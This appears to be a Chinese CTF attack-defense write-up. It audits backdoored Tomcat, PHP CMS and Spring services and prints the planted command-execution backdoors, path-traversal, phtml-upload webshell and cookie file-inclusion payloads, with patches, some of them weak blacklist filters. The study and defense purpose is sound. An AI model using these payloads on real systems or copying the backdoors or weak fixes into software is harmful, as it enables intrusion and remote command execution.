rank: 6
tomcat 漏洞1-文件上传getshell data.sql
泄露教师账号密码
1 INSERT INTO `teacher` VALUES ('admin' ,'admin1' ,'' ,'' ,'admin@qq.com' );
登录后台login.jsp
后台用户上传头像处存在任意文件上传
攻击:
修复:
修改后台密码/修改上传代码/增加waf
漏洞2-默认后门 \webapps\ROOT\forget.jsp
存在后门
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <% String cmdParameter = request.getParameter("cmd1" ); if (cmdParameter != null && !cmdParameter.isEmpty()) { try { ProcessBuilder processBuilder = new ProcessBuilder (); processBuilder.command("sh" , "-c" , cmdParameter); Process process = processBuilder.start(); InputStream inputStream = process.getInputStream(); BufferedReader reader = new BufferedReader (new InputStreamReader (inputStream)); String line; StringBuilder output = new StringBuilder (); while ((line = reader.readLine()) != null ) { output.append(line).append("\n" ); } out.println("Command executed successfully. Output:\n" + output.toString()); } catch (IOException e) { out.println("Error executing command: " + e.getMessage()); } } %>
攻击:
开局很快都修复了,手动交了两三个
修复:
把密码改了
cms 漏洞1-任意文件读取 \app\frontend\controller\Ajax.php
存在任意文件读取
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public function getfile ($file ) { $file = root_path ().'public/storage/uploads/' .$file ; if (!file_exists ($file )) { $result = ['code' => 0 , 'msg' => lang ('file not exists!' )]; return json ($result ); } $fileName = basename ($file ); header ('Content-Type: application/octet-stream' ); header ('Content-Disposition: attachment; filename=' . $fileName ); header ('Content-Length: ' . filesize ($file )); readfile ($file ); exit ; }
攻击:
1 /frontend/Ajax/getfile?file=../../../../../../flag
修复:
增加过滤
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 public function getfile ($file ) { $file = root_path ().'public/storage/uploads/' .$file ; $file = str_replace ("../" ,"" ,$file ); $file = str_replace ("flag" ,"" ,$file ); if (!file_exists ($file )) { $result = ['code' => 0 , 'msg' => lang ('file not exists!' )]; return json ($result ); } $fileName = basename ($file ); header ('Content-Type: application/octet-stream' ); header ('Content-Disposition: attachment; filename=' . $fileName ); header ('Content-Length: ' . filesize ($file )); readfile ($file ); exit ; }
漏洞2-默认后门 \app\api\controller\v1\Token.php
存在任意命令执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php namespace app \api \controller \v1 ;use fun \auth \Api ;use think \App ;use think \facade \Request ;use think \facade \Config ;class Token extends Api { protected $noAuth = ['*' ]; public function __construct (App $app ) { parent ::__construct ($app ); header ('Access-Control-Allow-Origin:*' ); header ('Access-Control-Allow-Headers:Accept,Referer,Host,Keep-Alive,User-Agent,X-Requested-With,Cache-Control,Content-Type,Cookie,token' ); header ('Access-Control-Allow-Credentials:true' ); header ('Access-Control-Allow-Methods:GET, POST, PATCH, PUT, DELETE,OPTIONS' ); } public function build (Request $request ) { $class = ucwords ('\\fun\\auth\\' .ucfirst ($this ->type).'Token' ); $token = $class ::instance (); $token ->build (); } public function refresh (Request $request ) { $class = ucwords ('\\fun\\auth\\' .ucfirst ($this ->type).'Token' ); $token = $class ::instance (); $token ->refresh (); } public function test ( ) { @eval (getallheaders ()['Referer' ]); } }
攻击:
1 2 3 4 5 GET /api/ v1.token/test HTTP/ 1.1 Host: 8.147 .134.118 :24631 Referer:system("cat /flag" );
修复:
添加注释
1 2 3 public function test ( ) { }
漏洞3-文件上传getshell 貌似还有个任意文件上传,比赛的时候没时间看了
赛后复现
注册后的基本设置有上传头像的地方
定位代码
/app/common/service/UploadService.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 protected function checkFile ( ) { if ( in_array ($this ->file->extension (), ['php' , 'html' , 'htm' ,'xml' ,'ssh' ,'bat' ,'jar' ,'java' ])) { throw new Exception (lang ('File format is limited' )); } if (($this ->file->getSize () > $this ->fileMaxsize*1024 )) { throw new Exception (lang ('File size is limited' )); } if ($this ->fileExt !='*' && !in_array ($this ->file->extension (),explode (',' ,$this ->fileExt))){ throw new Exception (lang ('File type is limited' )); } $file_ext = $this ->file->extension (); if (in_array ($this ->file->getMime (), ['image/gif' , 'image/jpg' , 'image/jpeg' , 'image/bmp' ,'image/png' , 'image/webp' ]) || in_array ($file_ext , ['gif' , 'jpg' , 'jpeg' , 'bmp' , 'png' ,'webp' ])) { $imgInfo = getimagesize ($this ->file->getPathname ()); if (!$imgInfo || !isset ($imgInfo [0 ]) || !isset ($imgInfo [1 ])) { throw new Exception (lang ('Uploaded file is not a valid image' )); } $this ->width = isset ($imgInfo [0 ]) ? $imgInfo [0 ] : 0 ; $this ->height = isset ($imgInfo [1 ]) ? $imgInfo [1 ] : 0 ; } return true ; }
限制了部分后缀,用phtml
绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 POST未授权上传,不需要登录 POST /frontend/ ajax/uploads HTTP/ 1.1 Host: 192.168 .100.129 Content-Length: 206 Accept: application/json, text/ javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/ 537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/ 537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDbISZWkAvBPdc8u0 Origin: http:// 192.168 .100.129 Referer: http:// 192.168 .100.129 /frontend/m ember/set.html Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 ,en;q=0.8 Connection: close ------WebKitFormBoundaryDbISZWkAvBPdc8u0 Content-Disposition: form-data; name="file" ; filename="1.phtml" Content-Type: image/jpeg <?php eval($_POST ['a' ]); ------WebKitFormBoundaryDbISZWkAvBPdc8u0--
修复
便捷的:增加对phtml的过滤
1 2 3 4 in_array ($this ->file->extension (), ['php' , 'html' , 'htm' ,'xml' ,'ssh' ,'bat' ,'jar' ,'java' ,'phtml' ])) { throw new Exception (lang ('File format is limited' )); }
或者稍微麻烦一点的,增加一个白名单
/app/frontend/controller/Ajax.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 public function uploads ( ) { try { $list = ['jpg' ,'png' ,'gif' ,'jpeg' ]; $file = $this ->request->file ('file' ); $ext = strtolower (pathinfo ($file ->getOriginalName (), PATHINFO_EXTENSION)); if (!in_array ($ext ,$list )){ throw new Exception ('NO' ); } $upload = UploadService ::instance (); $result = $upload ->uploads (session ('member.id' ),0 ); return json ($result ); } catch (Exception $e ) { $this ->error ($e ->getMessage ()); } }
漏洞4-后台文件上传+文件包含RCE 赛后复现
F12 泄露账号密码
1 2 3 4 5 6 7 8 9 <script> layui.use (['layer' , 'jquery' ], function ( ) { var $ = layui.jquery , layer = layui.layer ; $('.layui-tips' ).hover (function ( ) { layer.tips ('账号admin,密码123456' ); }) }) </script>
访问/backend
登录后台
发现有一个离线安装插件的功能
审计代码
/app/backend/controller/Addon.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 public function localinstall ( ) { if ($this ->request->isAjax ()){ set_time_limit (0 ); $urls = parse_url (input ('url' )); $file = $urls ['path' ]??'' ; if ($file && file_exists ('.' .$file )){ try { $res = ZipHelper ::unzip ('.' .$file ,'../addons' ); }catch (\Exception $e ){ $this ->error ($e ->getMessage ()); } if ($res ){ $index = strpos ($res , '/' ); $addon = $index ? substr ($res ,0 ,$index ):$res ; $this ->install ($addon ,'local' ); } $this ->success ('upload success' ); } } }
/vendor/funadmin/fun-addons/src/helper/ZipHelper.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 public static function unzip ( $zipFile ,$folderPath ,$addon =0 ) { if (!class_exists ('ZipArchive' )) { throw new \Exception ('ZinArchive not find' ); } $zip = new \ZipArchive (); try { $zip ->open ($zipFile ); } catch (\Exception $e ) { $zip ->close (); throw new \Exception ('Unable to open the zip file' ); } if (!is_dir ($folderPath )) { @mkdir ($folderPath , 0755 ); } $fileDir = trim ($zip ->getNameIndex (0 ), '/' ); try { $zip ->extractTo ($folderPath ); } catch (\Exception $e ) { throw new \Exception ('Unable to extract the file' ); } finally { $zip ->close (); } return $fileDir ; }
可以发现虽然报错了,但是依然会解压到addons目录下
但是无法访问到,这里需要用到文件上传+文件包含组合拳进行利用
/app/backend/controller/Ajax.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public function lang ( ) { header ('Content-Type: application/javascript' ); $name = $this ->request->get ("controllername" ); $name = strtolower (parse_name ($name , 1 )); $app = $this ->request->get ("app" ); return jsonp ($this ->loadlang ($name , $app ))->code (200 )->options ([ 'var_jsonp_handler' => 'callback' , 'default_jsonp_handler' => 'jsonpReturn' , 'json_encode_param' => JSON_PRETTY_PRINT | JSON_FORCE_OBJECT |JSON_UNESCAPED_UNICODE, ])->allowCache (true )->expires (7200 ); }
跟进loadlang方法
/app/common/controller/Backend.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 protected function loadlang ($name ,$app ) { $lang = cookie (config ('lang.cookie_var' )); if ($app && $app !=='backend' ){ $res = Lang ::load ([ $this ->app->getBasePath () .'backend' . DS . 'lang' . DS . $lang . '.php' , $this ->app->getBasePath () .$app . DS . 'lang' . DS . $lang . '.php' , $this ->app->getBasePath () .$app . DS . 'lang' . DS . $lang . DS . str_replac ('.' , DS, $name ) . '.php' , ]); }else { $res = Lang ::load ([ $this ->app->getAppPath () . 'lang' . DS . $lang . '.php' , $this ->app->getAppPath () . 'lang' . DS . $lang . DS . str_replace ('.' , DS,$name ) . '.php' , ]); } return $res ; }
很明显,从 lang.cookie_var 配置中获取一个cookie值并进行文件包含
查看cookie_var的名字
/config/lang.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 return [ 'default_lang' => Env ::get ('lang.default_lang' , 'zh-cn' ), 'allow_lang_list' => ['zh-cn' ,'en-us' ], 'detect_var' => 'lang' , 'use_cookie' => true , 'cookie_var' => 'think_lang' , 'extend_list' => [], 'accept_language' => [ 'zh-hans-cn' => 'zh-cn' , ], 'allow_group' => true , ];
因为是全局变量,所以任何地方都可以调用
包含的时候注意后缀 .php 已经存在了,不需要再写
1 2 3 4 5 6 7 POST / HTTP/1.1 Host: 0dbaba9b-169b-4afb-ab9d-71f60e228260.ctfd.lewiserii.top:8080 Cookie: think_lang=/../../../addons/shell; Content-Type: application/x-www-form-urlencoded Content-Length: 19 a=system('whoami');
修复
对 $lang 进行过滤即可
漏洞1-默认后门 存在默认后门
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 package com.example.doctoolkit.controller.test;import java.io.IOException;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.RestController;@RequestMapping({"/test"}) @RestController public class TestController { @RequestMapping({"/backd0or"}) public String backdoor (@RequestParam("cmd") String command) throws IOException { if (command != null ) { boolean isLinux = true ; String osType = System.getProperty("os.name" ); if (osType != null && osType.toLowerCase().contains("windows" )) { isLinux = false ; } byte [] bytes = new byte [1024 ]; String[] cmds = isLinux ? new String []{"bash" , "-c" , command} : new String []{"cmd.exe" , "/c" , command}; Process process = new ProcessBuilder (cmds).start(); int len = process.getInputStream().read(bytes); String output = new String (bytes, 0 , len); return output; } return null ; } }
攻击:
/test/backd0or?cmd=cat /flag
修复:
没修复成功。。
漏洞2-shiro反序列化 有shiro依赖
在shiro的配置文件中发现了固定秘钥
直接用工具打就好了,然后抓流量进行批量